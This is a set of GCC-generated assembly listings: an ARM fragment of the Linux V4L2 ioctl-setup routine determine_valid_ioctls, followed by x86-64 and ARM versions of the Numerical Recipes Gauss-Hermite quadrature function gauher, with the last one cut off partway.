ldr r3, [r3]
ldr r2, .L67+248
ldr r2, [r2]
mov r1, r3
ldr r0, [fp, #-36]
bl SET_VALID_IOCTL
b .L36
.L37:
ldr r3, [fp, #-20]
cmp r3, #0
beq .L47
ldr r3, [fp, #-12]
cmp r3, #0
beq .L47
ldr r3, [fp, #-36]
ldr r3, [r3, #40]
cmp r3, #0
beq .L48
ldr r3, .L67+252
ldr r3, [r3]
mov r0, r3
bl _IOC_NR
mov r2, r0
ldr r3, .L67+576
ldr r3, [r3]
mov r1, r3
mov r0, r2
bl set_bit
.L48:
ldr r3, [fp, #-36]
ldr r3, [r3, #36]
cmp r3, #0
beq .L49
ldr r3, .L67+256
ldr r3, [r3]
mov r0, r3
bl _IOC_NR
mov r2, r0
ldr r3, .L67+576
ldr r3, [r3]
mov r1, r3
mov r0, r2
bl set_bit
.L49:
ldr r3, [fp, #-36]
ldr r3, [r3, #32]
cmp r3, #0
beq .L50
ldr r3, .L67+260
ldr r3, [r3]
mov r0, r3
bl _IOC_NR
mov r2, r0
ldr r3, .L67+576
ldr r3, [r3]
mov r1, r3
mov r0, r2
bl set_bit
.L50:
ldr r3, [fp, #-36]
ldr r3, [r3, #28]
cmp r3, #0
beq .L36
ldr r3, .L67+264
ldr r3, [r3]
mov r0, r3
bl _IOC_NR
mov r2, r0
ldr r3, .L67+576
ldr r3, [r3]
mov r1, r3
mov r0, r2
bl set_bit
b .L36
.L68:
.align 2
.L67:
.word VFL_TYPE_VBI
.word VFL_TYPE_RADIO
.word VFL_TYPE_SDR
.word VFL_TYPE_TOUCH
.word VFL_DIR_TX
.word VFL_DIR_RX
.word VIDIOC_QUERYCAP
.word vidioc_querycap
.word VIDIOC_G_PRIORITY
.word VIDIOC_S_PRIORITY
.word VIDIOC_QUERYCTRL
.word VIDIOC_QUERY_EXT_CTRL
.word VIDIOC_G_CTRL
.word VIDIOC_S_CTRL
.word VIDIOC_G_EXT_CTRLS
.word VIDIOC_S_EXT_CTRLS
.word VIDIOC_TRY_EXT_CTRLS
.word VIDIOC_QUERYMENU
.word VIDIOC_G_FREQUENCY
.word vidioc_g_frequency
.word VIDIOC_S_FREQUENCY
.word vidioc_s_frequency
.word VIDIOC_LOG_STATUS
.word vidioc_log_status
.word VIDIOC_DQEVENT
.word vidioc_subscribe_event
.word VIDIOC_SUBSCRIBE_EVENT
.word VIDIOC_UNSUBSCRIBE_EVENT
.word vidioc_unsubscribe_event
.word VIDIOC_ENUM_FREQ_BANDS
.word VIDIOC_OVERLAY
.word vidioc_overlay
.word VIDIOC_G_FBUF
.word vidioc_g_fbuf
.word VIDIOC_S_FBUF
.word vidioc_s_fbuf
.word VIDIOC_G_JPEGCOMP
.word vidioc_g_jpegcomp
.word VIDIOC_S_JPEGCOMP
.word vidioc_s_jpegcomp
.word VIDIOC_G_ENC_INDEX
.word vidioc_g_enc_index
.word VIDIOC_ENCODER_CMD
.word vidioc_encoder_cmd
.word VIDIOC_TRY_ENCODER_CMD
.word vidioc_try_encoder_cmd
.word VIDIOC_DECODER_CMD
.word vidioc_decoder_cmd
.word VIDIOC_TRY_DECODER_CMD
.word vidioc_try_decoder_cmd
.word VIDIOC_ENUM_FRAMESIZES
.word vidioc_enum_framesizes
.word VIDIOC_ENUM_FRAMEINTERVALS
.word vidioc_enum_frameintervals
.word VIDIOC_G_CROP
.word VIDIOC_CROPCAP
.word VIDIOC_S_CROP
.word VIDIOC_G_SELECTION
.word vidioc_g_selection
.word VIDIOC_S_SELECTION
.word vidioc_s_selection
.word VIDIOC_G_SLICED_VBI_CAP
.word vidioc_g_sliced_vbi_cap
.word VIDIOC_ENUM_FMT
.word VIDIOC_G_FMT
.word VIDIOC_S_FMT
.word VIDIOC_TRY_FMT
.word VIDIOC_REQBUFS
.word vidioc_reqbufs
.word VIDIOC_QUERYBUF
.word vidioc_querybuf
.word VIDIOC_QBUF
.word vidioc_qbuf
.word VIDIOC_EXPBUF
.word vidioc_expbuf
.word VIDIOC_DQBUF
.word vidioc_dqbuf
.word VIDIOC_CREATE_BUFS
.word vidioc_create_bufs
.word VIDIOC_PREPARE_BUF
.word vidioc_prepare_buf
.word VIDIOC_STREAMON
.word vidioc_streamon
.word VIDIOC_STREAMOFF
.word vidioc_streamoff
.word VIDIOC_ENUMSTD
.word VIDIOC_S_STD
.word vidioc_s_std
.word VIDIOC_G_STD
.word vidioc_g_std
.word VIDIOC_QUERYSTD
.word vidioc_querystd
.word VIDIOC_ENUMINPUT
.word vidioc_enum_input
.word VIDIOC_G_INPUT
.word vidioc_g_input
.word VIDIOC_S_INPUT
.word vidioc_s_input
.word VIDIOC_ENUMAUDIO
.word vidioc_enumaudio
.word VIDIOC_G_AUDIO
.word vidioc_g_audio
.word VIDIOC_S_AUDIO
.word vidioc_s_audio
.word VIDIOC_QUERY_DV_TIMINGS
.word vidioc_query_dv_timings
.word VIDIOC_S_EDID
.word vidioc_s_edid
.word VIDIOC_ENUMOUTPUT
.word vidioc_enum_output
.word VIDIOC_G_OUTPUT
.word vidioc_g_output
.word VIDIOC_S_OUTPUT
.word vidioc_s_output
.word VIDIOC_ENUMAUDOUT
.word vidioc_enumaudout
.word VIDIOC_G_AUDOUT
.word vidioc_g_audout
.word VIDIOC_S_AUDOUT
.word vidioc_s_audout
.word VFL_TYPE_GRABBER
.word VIDIOC_G_PARM
.word VIDIOC_S_PARM
.word vidioc_s_parm
.word VIDIOC_S_DV_TIMINGS
.word vidioc_s_dv_timings
.word VIDIOC_G_DV_TIMINGS
.word vidioc_g_dv_timings
.word VIDIOC_ENUM_DV_TIMINGS
.word vidioc_enum_dv_timings
.word VIDIOC_DV_TIMINGS_CAP
.word vidioc_dv_timings_cap
.word VIDIOC_G_EDID
.word vidioc_g_edid
.word VIDIOC_G_MODULATOR
.word vidioc_g_modulator
.word VIDIOC_S_MODULATOR
.word vidioc_s_modulator
.word VIDIOC_G_TUNER
.word vidioc_g_tuner
.word VIDIOC_S_TUNER
.word vidioc_s_tuner
.word VIDIOC_S_HW_FREQ_SEEK
.word vidioc_s_hw_freq_seek
.word valid_ioctls
.word BASE_VIDIOC_PRIVATE
.L47:
ldr r3, [fp, #-20]
cmp r3, #0
beq .L36
ldr r3, [fp, #-8]
cmp r3, #0
beq .L36
ldr r3, [fp, #-36]
ldr r3, [r3, #24]
cmp r3, #0
beq .L52
ldr r3, .L67+252
ldr r3, [r3]
mov r0, r3
bl _IOC_NR
mov r2, r0
ldr r3, .L67+576
ldr r3, [r3]
mov r1, r3
mov r0, r2
bl set_bit
.L52:
ldr r3, [fp, #-36]
ldr r3, [r3, #20]
cmp r3, #0
beq .L53
ldr r3, .L67+256
ldr r3, [r3]
mov r0, r3
bl _IOC_NR
mov r2, r0
ldr r3, .L67+576
ldr r3, [r3]
mov r1, r3
mov r0, r2
bl set_bit
.L53:
ldr r3, [fp, #-36]
ldr r3, [r3, #16]
cmp r3, #0
beq .L54
ldr r3, .L67+260
ldr r3, [r3]
mov r0, r3
bl _IOC_NR
mov r2, r0
ldr r3, .L67+576
ldr r3, [r3]
mov r1, r3
mov r0, r2
bl set_bit
.L54:
ldr r3, [fp, #-36]
ldr r3, [r3, #12]
cmp r3, #0
beq .L36
ldr r3, .L67+264
ldr r3, [r3]
mov r0, r3
bl _IOC_NR
mov r2, r0
ldr r3, .L67+576
ldr r3, [r3]
mov r1, r3
mov r0, r2
bl set_bit
.L36:
ldr r3, [fp, #-32]
cmp r3, #0
bne .L55
ldr r3, [fp, #-28]
cmp r3, #0
bne .L55
ldr r3, [fp, #-20]
cmp r3, #0
bne .L55
ldr r3, [fp, #-16]
cmp r3, #0
beq .L56
.L55:
ldr r3, .L67+268
ldr r3, [r3]
ldr r2, .L67+272
ldr r2, [r2]
mov r1, r3
ldr r0, [fp, #-36]
bl SET_VALID_IOCTL
ldr r3, .L67+276
ldr r3, [r3]
ldr r2, .L67+280
ldr r2, [r2]
mov r1, r3
ldr r0, [fp, #-36]
bl SET_VALID_IOCTL
ldr r3, .L67+284
ldr r3, [r3]
ldr r2, .L67+288
ldr r2, [r2]
mov r1, r3
ldr r0, [fp, #-36]
bl SET_VALID_IOCTL
ldr r3, .L67+292
ldr r3, [r3]
ldr r2, .L67+296
ldr r2, [r2]
mov r1, r3
ldr r0, [fp, #-36]
bl SET_VALID_IOCTL
ldr r3, .L67+300
ldr r3, [r3]
ldr r2, .L67+304
ldr r2, [r2]
mov r1, r3
ldr r0, [fp, #-36]
bl SET_VALID_IOCTL
ldr r3, .L67+308
ldr r3, [r3]
ldr r2, .L67+312
ldr r2, [r2]
mov r1, r3
ldr r0, [fp, #-36]
bl SET_VALID_IOCTL
ldr r3, .L67+316
ldr r3, [r3]
ldr r2, .L67+320
ldr r2, [r2]
mov r1, r3
ldr r0, [fp, #-36]
bl SET_VALID_IOCTL
ldr r3, .L67+324
ldr r3, [r3]
ldr r2, .L67+328
ldr r2, [r2]
mov r1, r3
ldr r0, [fp, #-36]
bl SET_VALID_IOCTL
ldr r3, .L67+332
ldr r3, [r3]
ldr r2, .L67+336
ldr r2, [r2]
mov r1, r3
ldr r0, [fp, #-36]
bl SET_VALID_IOCTL
.L56:
ldr r3, [fp, #-32]
cmp r3, #0
bne .L57
ldr r3, [fp, #-28]
cmp r3, #0
bne .L57
ldr r3, [fp, #-16]
cmp r3, #0
beq .L58
.L57:
ldr r3, [fp, #-36]
ldr r3, [r3, #8]
cmp r3, #0
beq .L59
ldr r3, .L67+340
ldr r3, [r3]
mov r0, r3
bl _IOC_NR
mov r2, r0
ldr r3, .L67+576
ldr r3, [r3]
mov r1, r3
mov r0, r2
bl set_bit
.L59:
ldr r3, .L67+344
ldr r3, [r3]
ldr r2, .L67+348
ldr r2, [r2]
mov r1, r3
ldr r0, [fp, #-36]
bl SET_VALID_IOCTL
ldr r3, .L67+352
ldr r3, [r3]
ldr r2, .L67+356
ldr r2, [r2]
mov r1, r3
ldr r0, [fp, #-36]
bl SET_VALID_IOCTL
ldr r3, [fp, #-12]
cmp r3, #0
beq .L60
ldr r3, .L67+360
ldr r3, [r3]
ldr r2, .L67+364
ldr r2, [r2]
mov r1, r3
ldr r0, [fp, #-36]
bl SET_VALID_IOCTL
ldr r3, .L67+368
ldr r3, [r3]
ldr r2, .L67+372
ldr r2, [r2]
mov r1, r3
ldr r0, [fp, #-36]
bl SET_VALID_IOCTL
ldr r3, .L67+376
ldr r3, [r3]
ldr r2, .L67+380
ldr r2, [r2]
mov r1, r3
ldr r0, [fp, #-36]
bl SET_VALID_IOCTL
ldr r3, .L67+384
ldr r3, [r3]
ldr r2, .L67+388
ldr r2, [r2]
mov r1, r3
ldr r0, [fp, #-36]
bl SET_VALID_IOCTL
ldr r3, .L67+392
ldr r3, [r3]
ldr r2, .L67+396
ldr r2, [r2]
mov r1, r3
ldr r0, [fp, #-36]
bl SET_VALID_IOCTL
ldr r3, .L67+400
ldr r3, [r3]
ldr r2, .L67+404
ldr r2, [r2]
mov r1, r3
ldr r0, [fp, #-36]
bl SET_VALID_IOCTL
ldr r3, .L67+408
ldr r3, [r3]
ldr r2, .L67+412
ldr r2, [r2]
mov r1, r3
ldr r0, [fp, #-36]
bl SET_VALID_IOCTL
ldr r3, .L67+416
ldr r3, [r3]
ldr r2, .L67+420
ldr r2, [r2]
mov r1, r3
ldr r0, [fp, #-36]
bl SET_VALID_IOCTL
ldr r3, .L67+424
ldr r3, [r3]
ldr r2, .L67+428
ldr r2, [r2]
mov r1, r3
ldr r0, [fp, #-36]
bl SET_VALID_IOCTL
.L60:
ldr r3, [fp, #-8]
cmp r3, #0
beq .L61
ldr r3, .L67+432
ldr r3, [r3]
ldr r2, .L67+436
ldr r2, [r2]
mov r1, r3
ldr r0, [fp, #-36]
bl SET_VALID_IOCTL
ldr r3, .L67+440
ldr r3, [r3]
ldr r2, .L67+444
ldr r2, [r2]
mov r1, r3
ldr r0, [fp, #-36]
bl SET_VALID_IOCTL
ldr r3, .L67+448
ldr r3, [r3]
ldr r2, .L67+452
ldr r2, [r2]
mov r1, r3
ldr r0, [fp, #-36]
bl SET_VALID_IOCTL
ldr r3, .L67+456
ldr r3, [r3]
ldr r2, .L67+460
ldr r2, [r2]
mov r1, r3
ldr r0, [fp, #-36]
bl SET_VALID_IOCTL
ldr r3, .L67+464
ldr r3, [r3]
ldr r2, .L67+468
ldr r2, [r2]
mov r1, r3
ldr r0, [fp, #-36]
bl SET_VALID_IOCTL
ldr r3, .L67+472
ldr r3, [r3]
ldr r2, .L67+476
ldr r2, [r2]
mov r1, r3
ldr r0, [fp, #-36]
bl SET_VALID_IOCTL
.L61:
ldr r3, [fp, #-36]
ldr r3, [r3, #4]
cmp r3, #0
bne .L62
ldr r3, [fp, #-40]
ldr r2, [r3]
ldr r3, .L67+480
ldr r3, [r3]
cmp r2, r3
bne .L63
ldr r3, [fp, #-36]
ldr r3, [r3]
cmp r3, #0
beq .L63
.L62:
ldr r3, .L67+484
ldr r3, [r3]
mov r0, r3
bl _IOC_NR
mov r2, r0
ldr r3, .L67+576
ldr r3, [r3]
mov r1, r3
mov r0, r2
bl set_bit
.L63:
ldr r3, .L67+488
ldr r3, [r3]
ldr r2, .L67+492
ldr r2, [r2]
mov r1, r3
ldr r0, [fp, #-36]
bl SET_VALID_IOCTL
ldr r3, .L67+496
ldr r3, [r3]
ldr r2, .L67+500
ldr r2, [r2]
mov r1, r3
ldr r0, [fp, #-36]
bl SET_VALID_IOCTL
ldr r3, .L67+504
ldr r3, [r3]
ldr r2, .L67+508
ldr r2, [r2]
mov r1, r3
ldr r0, [fp, #-36]
bl SET_VALID_IOCTL
ldr r3, .L67+512
ldr r3, [r3]
ldr r2, .L67+516
ldr r2, [r2]
mov r1, r3
ldr r0, [fp, #-36]
bl SET_VALID_IOCTL
ldr r3, .L67+520
ldr r3, [r3]
ldr r2, .L67+524
ldr r2, [r2]
mov r1, r3
ldr r0, [fp, #-36]
bl SET_VALID_IOCTL
ldr r3, .L67+528
ldr r3, [r3]
ldr r2, .L67+532
ldr r2, [r2]
mov r1, r3
ldr r0, [fp, #-36]
bl SET_VALID_IOCTL
.L58:
ldr r3, [fp, #-8]
cmp r3, #0
beq .L64
ldr r3, [fp, #-24]
cmp r3, #0
bne .L65
ldr r3, [fp, #-20]
cmp r3, #0
beq .L64
.L65:
ldr r3, .L67+536
ldr r3, [r3]
ldr r2, .L67+540
ldr r2, [r2]
mov r1, r3
ldr r0, [fp, #-36]
bl SET_VALID_IOCTL
ldr r3, .L67+544
ldr r3, [r3]
ldr r2, .L67+548
ldr r2, [r2]
mov r1, r3
ldr r0, [fp, #-36]
bl SET_VALID_IOCTL
.L64:
ldr r3, [fp, #-12]
cmp r3, #0
beq .L66
ldr r3, .L67+552
ldr r3, [r3]
ldr r2, .L67+556
ldr r2, [r2]
mov r1, r3
ldr r0, [fp, #-36]
bl SET_VALID_IOCTL
ldr r3, .L67+560
ldr r3, [r3]
ldr r2, .L67+564
ldr r2, [r2]
mov r1, r3
ldr r0, [fp, #-36]
bl SET_VALID_IOCTL
ldr r3, .L67+568
ldr r3, [r3]
ldr r2, .L67+572
ldr r2, [r2]
mov r1, r3
ldr r0, [fp, #-36]
bl SET_VALID_IOCTL
.L66:
ldr r3, [fp, #-40]
ldr r0, [r3, #8]
ldr r3, .L67+576
ldr r1, [r3]
ldr r3, [fp, #-40]
ldr r2, [r3, #8]
ldr r3, .L67+580
ldr r3, [r3]
bl bitmap_andnot
nop
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size determine_valid_ioctls, .-determine_valid_ioctls
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "546755.c"
.intel_syntax noprefix
.text
.section .rodata
.LC13:
.string "too many iterations in gauher"
.text
.globl gauher
.type gauher, @function
gauher:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
push rbx
sub rsp, 104
.cfi_offset 3, -24
mov QWORD PTR -88[rbp], rdi
mov QWORD PTR -96[rbp], rsi
mov DWORD PTR -100[rbp], edx
mov eax, DWORD PTR -100[rbp]
add eax, 1
mov edx, eax
shr edx, 31
add eax, edx
sar eax
mov DWORD PTR -68[rbp], eax
mov DWORD PTR -80[rbp], 1
jmp .L2
.L16:
cmp DWORD PTR -80[rbp], 1
jne .L3
mov eax, DWORD PTR -100[rbp]
add eax, eax
add eax, 1
pxor xmm4, xmm4
cvtsi2sd xmm4, eax
movq rax, xmm4
movq xmm0, rax
call sqrt@PLT
movq rbx, xmm0
mov eax, DWORD PTR -100[rbp]
add eax, eax
add eax, 1
pxor xmm5, xmm5
cvtsi2sd xmm5, eax
movq rax, xmm5
movsd xmm0, QWORD PTR .LC0[rip]
movapd xmm1, xmm0
movq xmm0, rax
call pow@PLT
movsd xmm1, QWORD PTR .LC1[rip]
mulsd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -40[rbp], xmm0
jmp .L4
.L3:
cmp DWORD PTR -80[rbp], 2
jne .L5
pxor xmm6, xmm6
cvtsi2sd xmm6, DWORD PTR -100[rbp]
movq rax, xmm6
movsd xmm0, QWORD PTR .LC2[rip]
movapd xmm1, xmm0
movq xmm0, rax
call pow@PLT
movsd xmm1, QWORD PTR .LC3[rip]
mulsd xmm0, xmm1
movapd xmm1, xmm0
divsd xmm1, QWORD PTR -40[rbp]
movsd xmm0, QWORD PTR -40[rbp]
subsd xmm0, xmm1
movsd QWORD PTR -40[rbp], xmm0
jmp .L4
.L5:
cmp DWORD PTR -80[rbp], 3
jne .L6
movsd xmm1, QWORD PTR -40[rbp]
movsd xmm0, QWORD PTR .LC4[rip]
mulsd xmm0, xmm1
mov rax, QWORD PTR -88[rbp]
add rax, 8
movsd xmm2, QWORD PTR [rax]
movsd xmm1, QWORD PTR .LC5[rip]
mulsd xmm1, xmm2
subsd xmm0, xmm1
movsd QWORD PTR -40[rbp], xmm0
jmp .L4
.L6:
cmp DWORD PTR -80[rbp], 4
jne .L7
movsd xmm1, QWORD PTR -40[rbp]
movsd xmm0, QWORD PTR .LC6[rip]
mulsd xmm0, xmm1
mov rax, QWORD PTR -88[rbp]
add rax, 16
movsd xmm2, QWORD PTR [rax]
movsd xmm1, QWORD PTR .LC7[rip]
mulsd xmm1, xmm2
subsd xmm0, xmm1
movsd QWORD PTR -40[rbp], xmm0
jmp .L4
.L7:
movsd xmm0, QWORD PTR -40[rbp]
addsd xmm0, xmm0
mov eax, DWORD PTR -80[rbp]
cdqe
sal rax, 3
lea rdx, -16[rax]
mov rax, QWORD PTR -88[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movsd QWORD PTR -40[rbp], xmm0
.L4:
mov DWORD PTR -76[rbp], 1
jmp .L8
.L14:
movsd xmm0, QWORD PTR .LC8[rip]
movsd QWORD PTR -64[rbp], xmm0
pxor xmm0, xmm0
movsd QWORD PTR -56[rbp], xmm0
mov DWORD PTR -72[rbp], 1
jmp .L9
.L10:
movsd xmm0, QWORD PTR -56[rbp]
movsd QWORD PTR -24[rbp], xmm0
movsd xmm0, QWORD PTR -64[rbp]
movsd QWORD PTR -56[rbp], xmm0
pxor xmm1, xmm1
cvtsi2sd xmm1, DWORD PTR -72[rbp]
movsd xmm0, QWORD PTR .LC10[rip]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call sqrt@PLT
movq rax, xmm0
movq xmm0, rax
mulsd xmm0, QWORD PTR -40[rbp]
mulsd xmm0, QWORD PTR -56[rbp]
movsd QWORD PTR -112[rbp], xmm0
mov eax, DWORD PTR -72[rbp]
sub eax, 1
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, DWORD PTR -72[rbp]
movapd xmm3, xmm0
divsd xmm3, xmm1
movq rax, xmm3
movq xmm0, rax
call sqrt@PLT
movq rax, xmm0
movq xmm1, rax
mulsd xmm1, QWORD PTR -24[rbp]
movsd xmm0, QWORD PTR -112[rbp]
subsd xmm0, xmm1
movsd QWORD PTR -64[rbp], xmm0
add DWORD PTR -72[rbp], 1
.L9:
mov eax, DWORD PTR -72[rbp]
cmp eax, DWORD PTR -100[rbp]
jle .L10
pxor xmm0, xmm0
cvtsi2sd xmm0, DWORD PTR -100[rbp]
addsd xmm0, xmm0
movq rax, xmm0
movq xmm0, rax
call sqrt@PLT
movsd xmm1, QWORD PTR -56[rbp]
mulsd xmm0, xmm1
movsd QWORD PTR -48[rbp], xmm0
movsd xmm0, QWORD PTR -40[rbp]
movsd QWORD PTR -32[rbp], xmm0
movsd xmm0, QWORD PTR -64[rbp]
movapd xmm1, xmm0
divsd xmm1, QWORD PTR -48[rbp]
movsd xmm0, QWORD PTR -32[rbp]
subsd xmm0, xmm1
movsd QWORD PTR -40[rbp], xmm0
movsd xmm0, QWORD PTR -40[rbp]
subsd xmm0, QWORD PTR -32[rbp]
movq xmm1, QWORD PTR .LC11[rip]
andpd xmm1, xmm0
movsd xmm0, QWORD PTR .LC12[rip]
comisd xmm0, xmm1
jnb .L17
add DWORD PTR -76[rbp], 1
.L8:
cmp DWORD PTR -76[rbp], 10
jle .L14
jmp .L13
.L17:
nop
.L13:
cmp DWORD PTR -76[rbp], 10
jle .L15
lea rdi, .LC13[rip]
call nrerror@PLT
.L15:
mov eax, DWORD PTR -80[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -88[rbp]
add rax, rdx
movsd xmm0, QWORD PTR -40[rbp]
movsd QWORD PTR [rax], xmm0
mov eax, DWORD PTR -100[rbp]
add eax, 1
sub eax, DWORD PTR -80[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -88[rbp]
add rax, rdx
movsd xmm0, QWORD PTR -40[rbp]
movq xmm1, QWORD PTR .LC14[rip]
xorpd xmm0, xmm1
movsd QWORD PTR [rax], xmm0
movsd xmm0, QWORD PTR -48[rbp]
movapd xmm1, xmm0
mulsd xmm1, xmm0
mov eax, DWORD PTR -80[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -96[rbp]
add rax, rdx
movsd xmm0, QWORD PTR .LC10[rip]
divsd xmm0, xmm1
movsd QWORD PTR [rax], xmm0
mov eax, DWORD PTR -80[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -96[rbp]
add rdx, rax
mov eax, DWORD PTR -100[rbp]
add eax, 1
sub eax, DWORD PTR -80[rbp]
cdqe
lea rcx, 0[0+rax*8]
mov rax, QWORD PTR -96[rbp]
add rax, rcx
movsd xmm0, QWORD PTR [rdx]
movsd QWORD PTR [rax], xmm0
add DWORD PTR -80[rbp], 1
.L2:
mov eax, DWORD PTR -80[rbp]
cmp eax, DWORD PTR -68[rbp]
jle .L16
nop
nop
mov rbx, QWORD PTR -8[rbp]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size gauher, .-gauher
.section .rodata
.align 8
.LC0:
.long 1268561541
.long -1077586575
.align 8
.LC1:
.long -377957122
.long 1073590566
.align 8
.LC2:
.long -2130303779
.long 1071334293
.align 8
.LC3:
.long -1546188227
.long 1072840048
.align 8
.LC4:
.long 1546188227
.long 1073595023
.align 8
.LC5:
.long -1202590843
.long 1072399646
.align 8
.LC6:
.long 687194767
.long 1073647452
.align 8
.LC7:
.long 1374389535
.long 1072504504
.align 8
.LC8:
.long 1880447248
.long 1072171320
.align 8
.LC10:
.long 0
.long 1073741824
.align 16
.LC11:
.long -1
.long 2147483647
.long 0
.long 0
.align 8
.LC12:
.long -1527193420
.long 1025565556
.align 16
.LC14:
.long 0
.long -2147483648
.long 0
.long 0
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "546755.c"
.text
.global __aeabi_i2d
.global __aeabi_dmul
.global __aeabi_dsub
.global __aeabi_ddiv
.global __aeabi_dadd
.global __aeabi_dcmple
.section .rodata
.align 2
.LC0:
.ascii "too many iterations in gauher\000"
.text
.align 2
.global gauher
.syntax unified
.arm
.fpu softvfp
.type gauher, %function
gauher:
@ args = 0, pretend = 0, frame = 88
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, r5, r6, r7, r8, r9, fp, lr}
add fp, sp, #28
sub sp, sp, #88
str r0, [fp, #-96]
str r1, [fp, #-100]
str r2, [fp, #-104]
ldr r3, [fp, #-104]
add r3, r3, #1
lsr r2, r3, #31
add r3, r2, r3
asr r3, r3, #1
str r3, [fp, #-80]
mov r3, #1
str r3, [fp, #-92]
b .L2
.L16:
ldr r3, [fp, #-92]
cmp r3, #1
bne .L3
ldr r3, [fp, #-104]
lsl r3, r3, #1
add r3, r3, #1
mov r0, r3
bl __aeabi_i2d
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl sqrt
mov r8, r0
mov r9, r1
ldr r3, [fp, #-104]
lsl r3, r3, #1
add r3, r3, #1
mov r0, r3
bl __aeabi_i2d
ldr r2, .L18
ldr r3, .L18+4
bl pow
ldr r2, .L18+8
ldr r3, .L18+12
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r8
mov r1, r9
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-52]
str r3, [fp, #-48]
b .L4
.L3:
ldr r3, [fp, #-92]
cmp r3, #2
bne .L5
ldr r0, [fp, #-104]
bl __aeabi_i2d
ldr r2, .L18+16
ldr r3, .L18+20
bl pow
ldr r2, .L18+24
ldr r3, .L18+28
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
sub r3, fp, #52
ldmia r3, {r2-r3}
bl __aeabi_ddiv
mov r2, r0
mov r3, r1
sub r1, fp, #52
ldmia r1, {r0-r1}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-52]
str r3, [fp, #-48]
b .L4
.L5:
ldr r3, [fp, #-92]
cmp r3, #3
bne .L6
ldr r2, .L18+32
ldr r3, .L18+36
sub r1, fp, #52
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r8, r2
mov r9, r3
ldr r3, [fp, #-96]
add r3, r3, #8
ldmia r3, {r0-r1}
ldr r2, .L18+40
ldr r3, .L18+44
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r8
mov r1, r9
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-52]
str r3, [fp, #-48]
b .L4
.L6:
ldr r3, [fp, #-92]
cmp r3, #4
bne .L7
ldr r2, .L18+48
ldr r3, .L18+52
sub r1, fp, #52
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r8, r2
mov r9, r3
ldr r3, [fp, #-96]
add r3, r3, #16
ldmia r3, {r0-r1}
ldr r2, .L18+56
ldr r3, .L18+60
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r8
mov r1, r9
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-52]
str r3, [fp, #-48]
b .L4
.L7:
sub r1, fp, #52
ldmia r1, {r0-r1}
mov r2, r0
mov r3, r1
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
ldr r3, [fp, #-92]
sub r3, r3, #-536870910
lsl r3, r3, #3
ldr r2, [fp, #-96]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-52]
str r3, [fp, #-48]
.L4:
mov r3, #1
str r3, [fp, #-88]
b .L8
.L14:
ldr r2, .L18+64
ldr r3, .L18+68
str r2, [fp, #-76]
str r3, [fp, #-72]
mov r2, #0
mov r3, #0
str r2, [fp, #-68]
str r3, [fp, #-64]
mov r3, #1
str r3, [fp, #-84]
b .L9
.L10:
sub r3, fp, #68
ldmia r3, {r2-r3}
str r2, [fp, #-36]
str r3, [fp, #-32]
sub r3, fp, #76
ldmia r3, {r2-r3}
str r2, [fp, #-68]
str r3, [fp, #-64]
ldr r0, [fp, #-84]
bl __aeabi_i2d
mov r2, r0
mov r3, r1
mov r0, #0
mov r1, #1073741824
bl __aeabi_ddiv
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl sqrt
sub r3, fp, #52
ldmia r3, {r2-r3}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
sub r3, fp, #68
ldmia r3, {r2-r3}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
str r2, [fp, #-116]
str r3, [fp, #-112]
ldr r3, [fp, #-84]
sub r3, r3, #1
mov r0, r3
bl __aeabi_i2d
mov r8, r0
mov r9, r1
ldr r0, [fp, #-84]
bl __aeabi_i2d
mov r2, r0
mov r3, r1
mov r0, r8
mov r1, r9
bl __aeabi_ddiv
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl sqrt
sub r3, fp, #36
ldmia r3, {r2-r3}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
sub r1, fp, #116
ldmia r1, {r0-r1}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-76]
